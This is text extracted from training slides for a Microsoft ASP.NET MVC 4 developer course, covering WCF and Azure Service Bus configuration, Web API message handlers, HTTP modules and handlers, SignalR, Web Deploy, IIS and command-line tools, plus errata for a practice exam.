scheduledTransferLogLevelFilter="Warning"
scheduledTransferPeriod="PT1M" />

ISO 8601:
Period Time 1 Minute

scheduledTransferLogLevelFilter: Specifies the minimum

severity level for log entries that are transferred
scheduledTransferPeriod: Specifies the interval between
scheduled transfers of data, rounded up to the nearest minute
Windows Azure Diagnostics Configuration Schema

ISO 8601 - Durations

http://msdn.microsoft.com/en-us/library/gg593185.aspx

http://en.wikipedia.org/wiki/ISO_8601#Durations

Microsoft Azure

13. 11

Configuring Azure Service Bus Endpoints (Web.config)

Replace *** with your registered namespace
<services>
<service name="Service.ProblemSolver">
You must use a binding
with Relay in the name
<endpoint contract="Service.IProblemSolver"
binding="netTcpRelayBinding"
address="sb://***.servicebus.windows.net/solver"
behaviorConfiguration="sbTokenProvider"/>

Use your key provider for the issuer name

<behaviors>
issuerName must be owner
<endpointBehaviors>
<behavior name="sbTokenProvider">
<transportClientEndpointBehavior>
issuerSecret is the secret key
<tokenProvider>
<sharedSecret issuerName="owner"
issuerSecret="**key**" />

Securing and authenticating azure service bus relay messages using a shared secret
http://acaseyblog.wordpress.com/2013/03/22/securing-and-authenticating-azure-service-bus-relay-messages-using-a-shared-secret/

WCF Services

13. 12

Format of Returned Data

Before .NET 4 it defaults to XML but can be overridden
[OperationContract]
[WebGet(ResponseFormat = WebMessageFormat.Json)]
public long Mod(long x, long y);

With .NET 4 you can set it automatically

<webHttpEndpoint>
<standardEndpoint name="" helpEnabled="true"
automaticFormatSelectionEnabled="true"/>

When enabled the WCF infrastructure will try to

determine the appropriate response format using
1. The value of the HTTP Accept header of the request
2. The content-type of the request
3. The default response format for the operation

WCF Services

13. 13

ChannelFactory / WebChannelFactory (1/2)

Channel factories can be used to dynamically create a
channel (i.e. proxy) if you do not have one
But you will need a reference to the assembly that defines the
contracts i.e. interfaces (this is why its good to separate
interfaces from implementation)
WebChannelFactory automatically adds the WebHttpBehavior
and WebHttpBinding if they are missing to allow HTTP GETs

How to define an endpoint and proxy programmatically

Create an address that points to the service
var address = new EndpointAddress(
"http://localhost/MathSite/MathService.svc");

Create a binding
var binding = new WSHttpBinding();

WCF Services

13. 14

ChannelFactory / WebChannelFactory (2/2)

Create a ChannelFactory (proxy builder) for the service
contract (the interface IMath), binding and address
var cf = new ChannelFactory<IMath>(binding, address);

Use the channel factory to create a channel (proxy) for the

service and then call its methods
IMath mathService = cf.CreateChannel();
double s = mathService.Add(3, 39);

When finished, close the proxy and dispose of the factory

(mathService as IClientChannel).Close();
cf.Dispose();

13. 15

Data Contracts

Serializing Object References (1 of 2)

DataContractSerializer serializes by value by default
So references to the same object will get
serialized more than once and therefore
deserialized incorrectly
public class Address
{
public string Street { get; set; }
public string City { get; set; }
public string Country { get; set; }
}
public class Order
{
public int OrderID { get; set; }
public Address BillTo { get; set; }
public Address ShipTo { get; set; }
}
Interoperable Object References
http://msdn.microsoft.com/en-us/library/cc656708.aspx

<Order>
<OrderID>1</OrderID>
<BillTo>
<Street>High Street</Street>
<City>London</City>
<Country>UK</Country>
</BillTo>
<ShipTo>
<Street>High Street</Street>
<City>London</City>
<Country>UK</Country>
</ShipTo>
</Order>

var order = new Order

{
OrderID = 1,
BillTo = new Address
{
Street = "Main Street",
City = "London",
Country = "UK"
}
};
order.ShipTo = order.BillTo;

Data Contracts

13. 16

Serializing Object References (2 of 2)

Apply IsReference = true to get the serializer to
preserve object references & avoid circular references
[DataContract(IsReference = true)]
public class Address
{ // when using DataContract all members must also have DataMember applied
[DataMember]
public string Street { get; set; }
<Order xmlns:s="http://schemas.microsoft.com/2003/10/Serialization/">
<OrderID>1</OrderID>
<BillTo s:id="i2">
<Street>High Street</Street>
<City>London</City>
<Country>UK</Country>
</BillTo>
<ShipTo s:ref="i2" />
</Order>

DataContract Serializer and IsReference property

http://zamd.net/2008/05/20/datacontract-serializer-and-isreference-property/

Misc

13. 17

Resource Description Framework (RDF)

RDF is a standard model for data interchange on the
Web aka semantic web
RDF has features that facilitate data merging even if the
underlying schemas differ, and it specifically supports the
evolution of schemas over time without requiring all the data
consumers to be changed
RDF extends the linking structure of the Web to use URIs to
name the relationship between things as well as the two ends of
the link

Resource Description Framework (RDF)

http://www.w3.org/RDF/

New in Visual Studio 2013

13. 18

Microsoft Azure Server Explorer

Manage Azure directly inside Server Explorer
Cloud Services (Web Role, Worker Role)
Mobile Services
Service Bus
SQL Databases

Storage (Tables, Blobs, Queues)

Virtual Machines
Web Sites

14. 1

Module 14
Implementing Web APIs in
ASP.NET MVC 4 Web Applications
Developing ASP.NET MVC 4
Web Applications

Updated 4th September 2015

Implementing Web APIs in ASP.NET MVC 4 Web Applications

14. 2

Contents
Exam Topic: none (but they are wrong!)

MOC Errata, Page 14-10

The MOC says NoAction in multiple sentences
It should say NonAction like this
[NonAction]
public void DoSomething()

Review Firebrands extra slides for MOC 20487

Module 3: Creating and Consuming ASP.NET Web API Services
Module 4: Extending and Securing ASP.NET Web API Services

14. 3

HTTP and REST

POST versus PUT

The actual function performed by the POST method is
determined by the server and POST is designed to allow a
uniform method to cover the following functions: []
Extending a database through an append operation
So POST can be used to insert and the server should respond
with 201 (Created), or POST can be used for any meaning
PUT If the Request-URI refers to an already existing resource,
the enclosed entity SHOULD be considered as a modified version
of the one residing on the origin server. If the Request-URI does
not point to an existing resource, and that URI is capable of
being defined as a new resource by the requesting user agent,
the origin server can create the resource with that URI
So PUT can be used to insert or update and the server should
respond with either 201 (Created) or 204 (No Content)
Method Definitions
http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html

14. 4

HTTP and REST

Designing the URIs

Choose common sense URIs so developers can quickly
work out how to access any resource and your service
becomes almost self-documenting
Design your service API as if you were designing the URLs for a
web site i.e. make them logical enough that an end user could
work out how to use them if shown a few examples
Task

HTTP Method

Relative URI

Retrieve all entities

GET

/api/orders

Retrieve single entity

GET

/api/orders/id

Retrieve by custom

GET

/api/orders?category=category

Create new entity

POST

/api/orders

Update entity

PUT

/api/orders/id

Remove entity

DELETE

/api/orders/id

14. 5

Web API

Clients
Clients to Web API can be any language and platform
that can make HTTP requests
Best practice for .NET clients
Create your models in a separate Class Library project so they
compile to a DLL assembly and be given to .NET developers for
use with the HttpClient class
var client = new HttpClient();
client.BaseAddress = new Uri("http://localhost:801/MyWebApiService");
var response = await client.GetAsync(@"api\person");
var person = await response.Content.ReadAsAsync<Person>();

From reference to shared data contract/model assembly

HTTP Message Handlers

14. 6

What Are They?

A message handler is a class that receives an HTTP
request and returns a response in Web API calls
Typically, a series of message handlers are chained together, so
they act more like HTTP Modules than HTTP Handlers
If a delegating handler creates the
response without calling
base.SendAsync, the request skips
the rest of the Web API pipeline,
e.g. a handler that
validates the request
(creating an error
response)
They can be used
with HttpClient too!
HTTP Message Handlers
http://www.asp.net/web-api/overview/working-with-http/http-message-handlers

14. 7

HTTP Message Handlers

HTTP Message Handlers Example

public class MethodOverrideHandler : DelegatingHandler
{
readonly string[] _methods = { "DELETE", "HEAD", "PUT" };
const string _header = "X-HTTP-Method-Override";
protected override Task<HttpResponseMessage> SendAsync(
HttpRequestMessage request, CancellationToken cancellationToken)
{
if (request.Method == HttpMethod.Post && request.Headers.Contains(_header))
{
var method = request.Headers.GetValues(_header).FirstOrDefault();
if (_methods.Contains(method, StringComparer.InvariantCultureIgnoreCase))
{
request.Method = new HttpMethod(method);
}
} // no need to call await because it returns the Task<T>
var response = base.SendAsync(request, cancellationToken);
return response;
} // for clients that cannot send certain HTTP request types,
}
// such as PUT or DELETE
using System.Net.Http;
using System.Threading;
using System.Threading.Tasks;

HTTP Message Handlers

14. 8

Adding to the Web API Pipeline

Add to HttpConfiguration.MessageHandlers when
configuring Web API routes to apply a handler globally
public static void Register(HttpConfiguration config)
{
config.Routes.MapHttpRoute(name: "DefaultApi",
routeTemplate: "api/{controller}/{id}",
defaults: new { id = RouteParameter.Optional }
);
config.MessageHandlers.Add(new MethodOverrideHandler());
}

Add to a specific route to apply only to that route

config.Routes.MapHttpRoute(name: "Route2",
routeTemplate: "api2/{controller}/{id}",
defaults: new { id = RouteParameter.Optional },
handler: new MyHandler() // per-route message handler
);

15. 1

Module 15
Handling Requests in ASP.NET
MVC 4 Web Applications
Developing ASP.NET MVC 4
Web Applications

Updated 4th September 2015

Handling Requests in ASP.NET MVC 4 Web Applications

15. 2

Contents
Topic

Slide

Extending MVC Overview

HTTP Modules

HTTP Handlers

Web Sockets and Alternatives

12

SignalR

14

From the 20480 HTML5 course

review the following
20480.13.Web.Sockets

Exam Topic: Control application behavior by using MVC extensibility points

Control application behavior by using action results, viewengines, model binders, and route handlers
Exam Topic: Design and implement a Web Socket strategy
Read and write string and binary data asynchronously (long-running data transfers)
Choose a connection loss strategy
Decide a strategy for when to use Web Sockets
New in MVC 5: Implement SignalR
Exam Topic: Design HTTP modules and handlers
Implement synchronous and asynchronous modules and handlers
Choose between modules and handlers in IIS

15. 3

Extending MVC Overview

Common Interfaces and Classes for Extensions

To create
this type of
extension

Implement
this interface

with these
required methods

or inherit from
this class

MVC controller

IController

Execute

Controller

Action filter

IActionFilter

OnActionExecuting
OnActionExecuted

ActionFilterAttribute

Result filter

IResultFilter

OnResultExecuting
OnResultExecuted

ActionFilterAttribute

Route handler

IRouteHandler

GetHttpHandler

MvcRouteHandler

Route constraint

IRouteConstraint

Match

HttpMethodConstraint

HTTP handler

IHttpHandler

IsReusable, ProcessRequest

MvcHandler

HTTP handler
(asynchronous)

IHttpAsyncHandler

IsReusable, ProcessRequest,
BeginProcessRequest,
EndProcessRequest

HTTP message handler

for Web API

n/a

SendAsync

HTTP module

IHttpModule

Init, Dispose

DelegatingHandler

Notes: Controllers and filters are covered in Module 4: Developing ASP.NET MVC 4 Controllers
Route handlers and constraints are covered in Module 7: Structuring ASP.NET MVC 4 Web Applications
HTTP handlers and modules are covered in this module.

HTTP Modules

15. 4

Implementing
HTTP handlers only process requests for file extensions
they are registered for; if you want to process all
requests, use an HTTP module instead
Create a class that implements IHttpModule
public class MyModule : IHttpModule

Implement Name property and Init method and add handlers for
any events you want to intercept
public void Init(HttpApplication a)
{
this.app = a;
this.app.BeginRequest += LogAllRequestsMethod;

Walkthrough: Creating and Registering a Custom HTTP Module

https://msdn.microsoft.com/en-us/library/ms227673(v=vs.100).aspx

15. 5

HTTP Modules

Configuring
HTTP module must be registered in .config
For IIS 6 or IIS 7 or later in Classic mode
<system.web>
<httpModules>
<add name="MyMod" type="MyNamespace.MyModule" />

For IIS 7 or later in Integration mode

<system.webServer>
<modules>
<add name="MyMod" type="MyNamespace.MyModule"
precondition="managedHandler"/>

The precondition causes the module to be invoked only for

requests to the ASP.NET application resources, such as .aspx
files or managed handlers (excludes static files like .htm)
How to: Configure the <system.webServer> Section for IIS 7.0
http://msdn.microsoft.com/en-us/library/bb763179.aspx

15. 6

HTTP Modules

Ordering
Order modules are
processed is defined in
.config file
Order of events
(non-deterministic)

Order of events
(sequential)
BeginRequest
AuthenticateRequest
AuthorizeRequest

PreSendRequestHeaders

ResolveRequestCache

PreSendRequestContent

AcquireRequestState

Error

PreRequestHandlerExecute
PostRequestHandlerExecute
ReleaseRequestState
UpdateRequestCache
EndRequest

HTTP Handlers

15. 7

Creating a Custom HTTP Handler

An HTTP Handler is code that executes when an HTTP
request for a specific resource is made
Class that implements IHttpHandler or IHttpAsyncHandler

Members to implement
IsReusable property
Can the IHttpHandlerFactory object place the handlers in a
pool and reuse them (safe default is to return false)
ProcessRequest method
Processes the HTTP requests

Two methods
Code file (more effort, requires configuration)
Generic Handler (.ashx, no configuration)

HTTP Handlers

15. 8

How to Use a Generic Handler (.ashx)

A custom HTTP handler implemented using a .ashx file
The .ashx file extension is already configured with IIS and
ASP.NET, so it is the simplest way to implement a HTTP handler

How to create a Generic Handler

Add a Generic Handler item to your application

Implement the two members

URLs should use the .ashx filename

<a href="Chart.ashx?w=300&h=200">Generate Image</a>

HTTP Handlers

15. 9

Implement the HTTP Handler

using System.Drawing;
using System.Drawing.Drawing2D;
using System.Drawing.Imaging;

public bool IsReusable { get { return false; } }

public void ProcessRequest(HttpContext context)
{
int h = int.Parse(context.Request["h"]);
int w = int.Parse(context.Request["w"]);
Image i = new Bitmap(w, h);
Graphics g = Graphics.FromImage(i);
g.Clear(Color.White);
g.SmoothingMode = SmoothingMode.AntiAlias;
g.DrawEllipse(new Pen(Brushes.Orange, 6),
new Rectangle(10, 10, w - 20, h - 20));
context.Response.ContentType = "image/jpeg";
i.Save(context.Response.OutputStream, ImageFormat.Jpeg);

HTTP Handlers

15. 10

Configuring in IIS 6 and IIS 7 or later in Classic mode

If you chose not to use a generic handler (.ASHX) then
your HTTP handler must be registered with IIS/ASP.NET
For IIS 6 and IIS 7 or later in Classic mode
Configure IIS to redirect request for your file extension to
ASP.NET

Configure ASP.NET
<system.web>
<httpHandlers>
<add verb="*" path="*.chart"
type="MyHandler, MyHandlerAssembly" />

How to: Register HTTP Handlers

http://msdn.microsoft.com/en-us/library/46c5ddfy.aspx

15. 11

HTTP Handlers

Configuring in Integration Mode

For IIS 7 or later in Integration mode
Configure IIS
<system.webServer>
<add name="ChartHandler" verb="*" resourceType="File"
path="*.chart" modules="IsapiModule"
scriptProcessor="FrameworkPath\aspnet_isapi.dll" />

Where FrameworkPath is correct path

Remove any entries in httpHandlers or disable validation

<system.webServer>
<validation validateIntegratedModeConfiguration="false" />

Web Sockets and Alternatives

15. 12

Methods of Communication
Method

Description

XHR & XHR2 with CORS

Send requests asynchronously or synchronously to a

service over HTTP

MessageChannel

Send messages across domains and origins with content

inside an iframe

Web Sockets

Send requests to a service and the service can send

requests to your page (full-duplex);
also avoids the overhead of HTTP headers

Server-Sent Events

Push events from the server to the client

Web Workers

Send messages between the page and a worker thread

Methods of communication
http://html5doctor.com/methods-of-communication/

Difference between MessageChannel and WebSockets?

http://stackoverflow.com/questions/29620567/difference-between-messagechannel-and-websockets

15. 13

Web Sockets and Alternatives

Comparing Web Sockets to SignalR

To use Web Sockets
Install the Microsoft.WebSockets NuGet package
Inherit from WebSocketHandler

using Microsoft.Web.WebSockets;

public class ChatWebSocketHandler : WebSocketHandler

Override OnMessage methods

public override void OnMessage(byte[] message)
public override void OnMessage(string message)

To use SignalR
Install the Microsoft ASP.NET SignalR NuGet package
Inherit from Hub
using Microsoft.AspNet.SignalR;

public class ChatSignalRHandler : Hub

SignalR

15. 14

What Is SignalR 2.0?

Incredibly simple real-time web for .NET
Ability to have your server-side code push content to the
connected clients as it happens, in real-time
SignalR will use WebSockets under the covers when its
available, and gracefully fallback to other technologies when it
isnt, while your application code stays the same

Install it with NuGet

Install-Package Microsoft.AspNet.SignalR

Install a sample application

Install-Package Microsoft.AspNet.SignalR.Sample

Learn About ASP.NET SignalR

http://www.asp.net/signalr

15. 15

SignalR

Communication
SignalR provides a simple
API for creating server-toclient remote procedure
calls (RPC) that call
JavaScript functions in
client browsers from
server-side .NET code

SignalR

15. 16

Transport Selection Process

Steps that SignalR uses to decide which transport to use
If the browser is IE8 or earlier, Long Polling is used
If JSONP is configured (that is, the jsonp parameter is set to
true when the connection is started), Long Polling is used
If a cross-domain connection is being made then WebSocket will
be used if the client supports CORS and both support WebSocket

If JSONP is not configured and the connection is not crossdomain, WebSocket will be used if both the client and server
support it
If either the client or server do not support WebSocket, Server
Sent Events is used if it is available
If Server Sent Events is not available, Forever Frame is
attempted
If Forever Frame fails, Long Polling is used

SignalR

15. 17

Monitoring Transports
You can determine what transport your application is
using by enabling logging on your hub
$.connection.hub.logging = true;

You can request transport preferences

connection.start({ transport: ['webSockets','longPolling'] });

Tutorial: Getting Started with SignalR 2.0 and MVC 5

http://www.asp.net/signalr/overview/signalr-20/getting-started-with-signalr-20/tutorial-getting-started-with-signalr-20-and-mvc-5

16. 1

Module 16
Deploying ASP.NET MVC 4
Web Applications
Developing ASP.NET MVC 4
Web Applications

Updated 4th September 2015

Deploying ASP.NET MVC 4 Web Applications

16. 2

Contents
Topic
Publishing

Slide
3

Web Deploy

Command Line Tools

12

Web.config Transformations

17

Managing a Web AppDomain

19

IIS

21

Web Architecture

24

Visual Studio

26

Exam Topic: Design a distributed application

Design a hybrid application (on premise vs. off premise, including Windows Azure)
Plan web farms
Exam Topic: Plan the application layers
Choose between client-side and server side processing
Design for scalability

Publishing

16. 3

Publishing a Web Project

On the Build menu, choose Publish ProjectName
To deploy to Azure, Import (a publisher profile) or click
Windows Azure Web Sites or More Options
To deploy on premise, click Custom and enter a profile name

Publishing

16. 4

Connection Options
You can deploy to
Web Deploy (either directly or to a ZIP package)
FTP, File System, or FrontPage Server Extensions

Publishing

16. 5

Web Deploy Packages

For any question about deployment tools, the answer is
almost always use Web Deploy because
It works securely
It is powerful and flexible by changing the web publish pipeline
You can install SSL certificates using a custom target

Only choose to use FTP, XCopy, VPN, SSH, and so on if

you have a very good reason

Publishing

16. 6

File System
To deploy to the file system, enter the target path

Next, select Release or Debug configuration

This affects which transformation is applied to your Web.config

Publishing

16. 7

Publish Output
When you click Publish button, your project will be rebuilt, Web.config transformed, and then published

Publishing

16. 8

Deployed Files
All C# source code is compiled into a single assembly
and deployed to the bin folder along with any other
dependent assemblies

16. 9

Web Deploy

Packages
IIS Settings
Application Pool
Authentication method
Error Handling

Deploy Database Scripts

Production Settings
Release / Debugging
Connection Strings

Capable of Custom Extensions

Security Certificates
Windows Registry Settings
Assemblies in Global Assembly Cache (GAC)

16. 10

Web Deploy

Publishing Pipeline
Build

Collect

Transform

Web Deploy

Package /
Publish

Build

Collect binary
and .pdb files

Transform
web.config

Collect GAC, COM,

Registry settings

Create
package or
publish

Collect
references

Exclude files

Collect IIS settings

Collect
content

Precompile

Collect SSL
Certificates

Create SQL scripts

Create manifest

Custom extensions

16. 11

Web Deploy

Importing Package into IIS

IIS Provider

IIS

Database
Provider

Database

Web Content
Provider

Web content

Parameters.xml

Web Deploy

Other
Other
Providers
Other
Providers
Providers

Package.zip

Your custom
Provider

COM
GAC

Custom Asset

16. 12

Command Line Tools

Command Line Tools and Executables (1 of 2)

EXE

Description

csc, vbc

Language compilers create .exe and .dll assemblies, or .netmodule files

resgen

Resource compiler turns .resx (XML) into .resources (binary)

al

Assembly linker combines metadata, .netmodules, resources into assemblies

sn

Generate a strong name key pair (required for GAC deployment) and provides options for key
management, signature generation, and signature verification

gacutil1

List, install or uninstall assemblies in the Global Assembly Cache (GAC)

ngen

Native code generator to pre-JIT compile IL into native code

net

Controls users, groups, Windows Services, and network connections

regsvr32

Registers .dll files as COM components in the registry

regasm

Reads assembly metadata and adds the necessary entries to the registry, which allows COM
clients to create .NET Framework classes transparently

wsdl

Generate proxy code for XML Web services

svcutil

Generate proxy code for WCF services

disco

Discover XML Web services

ildasm

Intermediate Language (IL) Disassembler (or use ILSpy which can generate C# and VB source)

1Windows

Installer (MSI) can also be used to install

assemblies into the GAC (among many other tasks)

Important .NET Framework 4.0 Command Line Tools You Must Know
http://www.devcurry.com/2011/02/important-net-framework-40-command-line.html

16. 13

Command Line Tools

Command Line Tools and Executables (2 of 2)

EXE

Description

w3wp

An Internet Information Services (IIS) 6+ worker process runs Web applications, and is
responsible for handling requests sent to a Web Server for a specific application pool

aspnet_wp

ASP.NET applications using IIS 5 and earlier use this as their worker process

aspnet_regiis

Install or uninstall ASP.NET, encrypt and decrypt sections in Web.config, and many
other ASP.NET-related tasks

aspnet_regsql

Sets up ASP.NET features that can use SQL Server, e.g. session state, SQL cache
dependencies, profiles, membership, roles, and so on

aspnet_compiler

Precompile an ASP.NET Web application, either in place or for deployment

aspnet_merge

Combine and manage assemblies that are created by the ASP.NET compiler

aspnet_regbrowsers

Parses and compiles all system-wide browser definitions into an assembly and installs
the assembly into the global assembly cache

xsd

XML Schema Definition tool generates XML schema from classes in a runtime assembly
or common language runtime classes from XDR, XML, and XSD files

sgen

XML Serializer Generator tool pre-generates a serialization assembly to improve

performance (when not used, XmlSerializer generates code and a serialization
assembly for each type every time an application is run)

XML Serializer Generator Tool (Sgen.exe)

http://msdn.microsoft.com/en-us/library/bk3w6240(v=vs.110).aspx

ASP.NET Command-Line Tools

https://msdn.microsoft.com/en-us/library/vstudio/dd293881(v=vs.100).aspx

16. 14

Command Line Tools

gacutil
Command Line Switch

Description

gacutil /l

List all the assemblies in the GAC

gacutil /l Firebrand.Library

List all the versions of the named assembly in

the GAC

gacutil /i [path]Firebrand.Library.dll

Install the assembly file into GAC

gacutil /il listOfAssemblies.txt

Install all the assemblies listed in the file into

the GAC

gacutil /u Firebrand.Library

Uninstall all versions of the named assembly

from the GAC

gacutil /ul listOfAssemblies.txt

Uninstall all the assemblies listed in the file

from the GAC

gacutil /u Firebrand.Library,
Version=1.0.0.1,
Culture="de",
PublicKeyToken=45e343aae323ca

Uninstall a specific version of the named

assembly from the GAC

Gacutil.exe (Global Assembly Cache Tool)

http://msdn.microsoft.com/en-us/library/ex0ss12c(v=vs.110).aspx

Command Line Tools

16. 15

ASP.NET IIS Registration Tool

aspnet_regiis.exe: ASP.NET/IIS configuration
Can be used to customize script maps
-lv: list status and paths of all versions of ASP.NET installed
-i: installs ASP.NET
-u: uninstalls ASP.NET; -ua: uninstalls all versions of ASP.NET
-pef section webApplicationDirectory: encrypts section

-pdf section webApplicationDirectory: decrypts section

-pe section pkm: encrypts section in Machine.config
-pd section -pkm: decrypts section in Machine.config
and many more!

Command Line Tools

16. 16

ASP.NET SQL Server Registration Tool

aspnet_regsql.exe
Application services: Membership (m), Role Manager (r), Profile
(p), Web Parts Personalization (c), Web Events (w)
-A all, -A p , -A mcw: add service(s)
-R all, -R p , -R mcw: remove service(s)
SQL cache dependency: SQL Server 7.0 or later
-d <database> ed/dd: enable/disable database
-t <table> -et/dt: enable/disable table
Session state (uses tempdb by default)
-d <database> -ssadd: adds support
-d <database> -ssremove: removes support

Web.config Transformations

16. 17

Changing and Removing Attributes

Web.config
<connectionStrings>
<add name="MyDB"
connectionString="Data Source=TestServer;..."
<system.web>
<compilation debug="true"

Web.Release.config
<connectionStrings>
<add name="MyDB"
connectionString="Data Source=ProductServer;..."
xdt:Transform="SetAttributes" xdt:Locator="Match(name)"
<system.web>
<compilation xdt:Transform="RemoveAttributes(debug)" />
Web.config Transformation Syntax for Web Project Deployment Using Visual Studio
http://msdn.microsoft.com/en-us/library/dd465326(v=vs.110).aspx

Web.config Transformations

16. 18

Replacing Elements
Web.config
<customErrors defaultRedirect="Error.aspx" mode="RemoteOnly">
<error statusCode="500" redirect="ServerError.htm" />

Web.Debug.config
<customErrors defaultRedirect="DetailedError.aspx" mode="Off"
xdt:Transform="Replace">
<error statusCode="500" redirect="InternalError.htm" />

To create additional Solution Configurations, click <New> in

the Configuration Manager dialog box,
then right-click Web.config, then choose
Add Config Transform

Managing a Web AppDomain

16. 19

Taking a Web Project Offline

To take a web project temporarily offline
Create a file named app_offline.htm in the root of a web site
The AppDomain will be unloaded and the contents of the static
file displayed instead of any response
Warning! Your site will return 503 Server Unavailable
Warning! Versions of Internet Explorer older than 8.0 give a
missing file error with small app_offline.htm files, so add about
a screen full of HTML comments to make it big enough (it must
be more than 512 bytes)

You can also use an entry in .config

This is what the WSAT tool does to take an application offline
<httpRuntime enable="false" />

Managing a Web AppDomain

16. 20

What Causes a Web Site to Restart?

Changes to
Machine.config
Web.config(s)
Global.asax
Contents of /bin

Directory is renamed

Excessive recompilations for a page when using

dynamically-recompiled web sites (defaults to 15)
Changes to Code Access Security (CAS) policy files

10

16. 21

IIS

Web Farms and Web Gardens

A web farm is when you have multiple physical servers
A web garden is when you have multiple processes in
an application pool
IIS 6+: w3wp.exe
IIS 5: aspnet_wp.exe

16. 22

IIS

ASP.NET Integration with IIS 7 and later

IIS 7 and later support both the old and the new modes
Can be used side by side on the same server in different
application pools

Classic

Integration

ASP.NET Integration with IIS 7

http://learn.iis.net/page.aspx/243/aspnet-integration-with-iis/

11

16. 23

IIS

Migrating
ASP.NET operates in Integrated mode by default
Because of the configuration unification, some applications may
require migration to operate properly in Integrated mode

The following configurations cause a migration error

<httpModules>: ASP.NET modules must be specified with native
modules in the unified <system.webServer>/<modules>

<httpHandlers>: ASP.NET handler mappings must be specified in

the unified <system.webServer>/<handlers>
This replaces both the <httpHandlers> configuration and the
scriptmaps configuration, both of which previously had to be
configured to set up an ASP.NET handler mapping
<identity impersonate="true" />
If your application does not rely on impersonating the requesting user in the
BeginRequest and AuthenticateRequest stages (the only stages where impersonation is
not possible in Integrated mode), ignore this error by adding the following to your
applications web.config: <validation validateIntegratedModeConfiguration="false"

Web Architecture

16. 24

Common Ports
Port

Description

21

FTP data transfer

22

Secure Shell (SSH) used for secure logins, file transfers (scp, sftp)
and port forwarding

23

Telnet protocolunencrypted text communications

25

Simple Mail Transfer Protocol (SMTP)used for e-mail routing

between mail servers

53

Domain Name System (DNS)

79

Finger protocol

80

Hypertext Transfer Protocol (HTTP)

88

Kerberosauthentication system

443

Hypertext Transfer Protocol over TLS/SSL (HTTPS)

666

Doom, first online first-person shooter

List of TCP and UDP port numbers

http://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers

12

Web Architecture

16. 25

Networking, Performance, and Scalability

The edges of global networks are often the slowest part
Satellite links
Home or mobile connections
to ISPs and Wi-Fi networks

The architecture of the

Web is inherently scalable
Just add more web servers
to be able to serve more
clients at the same time
without affecting
performance

How To: Scale .NET Applications

http://msdn.microsoft.com/en-us/library/ff650667.aspx

Visual Studio

16. 26

File Properties
Build Action
None: file is not included in the project output group and is not
compiled in the build process e.g. documentation file
Compile: file is compiled into the build output e.g. code files
Content: file is not compiled, but is included in the Content
output group e.g. HTML files

Embedded Resource: file is embedded in DLL or EXE assembly

Copy to Output Directory

Do not copy, Copy always, Copy if newer

Custom Tool
Used to transform files at design-time e.g. a dataset code
generator that reads an .xsd and generates .cs classes
File Properties
http://msdn.microsoft.com/en-us/library/vstudio/0c6xyb66(v=vs.100).aspx

13

A. 1

Appendix A
MeasureUp Errata
Developing ASP.NET MVC 4
Web Applications

Updated 4th September 2015

A. 2

MeasureUp Errata

Question about State Choices

Cookie is the best option, NOT StateServer Session State!

MeasureUps question does NOT state that the user should be able
to resume on a different browser or device, so that isnt a good
reason to avoid cookies, and since cookies or URLs are required
for session state then all the session state answers would be
wrong too! Storing state on the client is good for web farms.

A. 3

MeasureUp Errata

Question about State Choices

MeasureUp correctly gives the answer in the explanation but highlights

the wrong answer! They say, the user must not be able to view or
access this data means the storage must happen on the server so
Cookie and Query string are wrong.
HTTP context has an Items collection that can be used to store state for
the current request.

A. 4

MeasureUp Errata

Question about nth-child

nth-child(2) is correct, but visibility: hidden

will still take up space

A. 5

MeasureUp Errata

Question about Calling Action Methods from Views

MeasureUps explanation incorrectly

states that Html.Action will render a
hyperlink: actually, it calls an action
method and renders the result
(typically a partial view)

A. 6

MeasureUp Errata

Question about Disabling HTML Encoding

MeasureUps use of English in this question is bad!

When they say, "you need the HTML fragment to be
rendered in the browser so that it is NOT displayed
as HTML", they mean that if the fragment was
"<h1>A</h1>" then the user would see the letter A
formatted as a top level heading, they should NOT
see <h1>A</h1> appear on the page. In other words,
the fragment should be sent to the page WITHOUT
any encoding, so using either Raw or wrapping in a
HtmlString.

A. 7

MeasureUp Errata

Question about Security

The question should say, If

an unauthenticated user

A. 8

MeasureUp Errata

Question about Azure Logs

bufferQuotaInMB should be 1

A. 9

MeasureUp Errata

Question about Storing Passwords

Duplicated answers!
BUT the correct answer is Append a salt value to the end of the password and then
hash the combined password and salt value. Only encrypt if the requirement
includes recoverable passwords.

A. 10

MeasureUp Errata

Question about Unit Testing

The answer is missing a dot between

the two words in accountBalance!
The correct line of code would be:
Assert.AreEqual(300, account.Balance);

A. 11

MeasureUp Errata

Question about ADO.NET Classic

using(var conn = new SqlConnection(connectionString))

{
var cmd = new SqlCommand(command, conn);
This question has multiple problems!
1) It is written for ASP.NET Web Forms (Page_Load event!)
which is not on exam objectives
2) It is asking about ADO.NET classic APIs which is not on
exam objectives
3) The writer has confused SqlConnection and SqlCommand
4) The writer has confused the String command and the
(missing!) SqlCommand cmd

A. 12

MeasureUp Errata

Question about Encrypting and Signing

Encrypt the data by using

Insurance.cer (using the public key)
Sign the data by using Hospital.cer
(using the private key)
Verify the signature by using
Hospital.cer (using the public key)
Decrypt the data by using
Insurance.cer (using the private key)

A. 13

MeasureUp Errata

Question about Internationalization

This is Web Forms NOT MVC!

This is the best answer because we can load

the first preferred language from the
Request.UserLanguages array and the UICulture
controls which .resx file gets used

A. 14

MeasureUp Errata

Question about Case Study

Repeating line numbers!

A. 15

MeasureUp Errata

Question about Bundles

Missing *

MeasureUp Errata

A. 16

Question about Federated Security

According to MSDN there isnt a Federated option and you should use None to
activate the WSFederationAuthenticationModule (aka FAM) (see links below)

AuthenticationMode Enumeration
http://msdn.microsoft.com/en-us/library/system.web.configuration.authenticationmode(v=vs.110).aspx

Passive Authentication for ASP.NET with WIF

http://msdn.microsoft.com/en-us/magazine/ff872350.aspx

B. 1

Appendix B
Exercises
Developing ASP.NET MVC 4
Web Applications

Updated 4th September 2015

Exercise 1a

B. 2

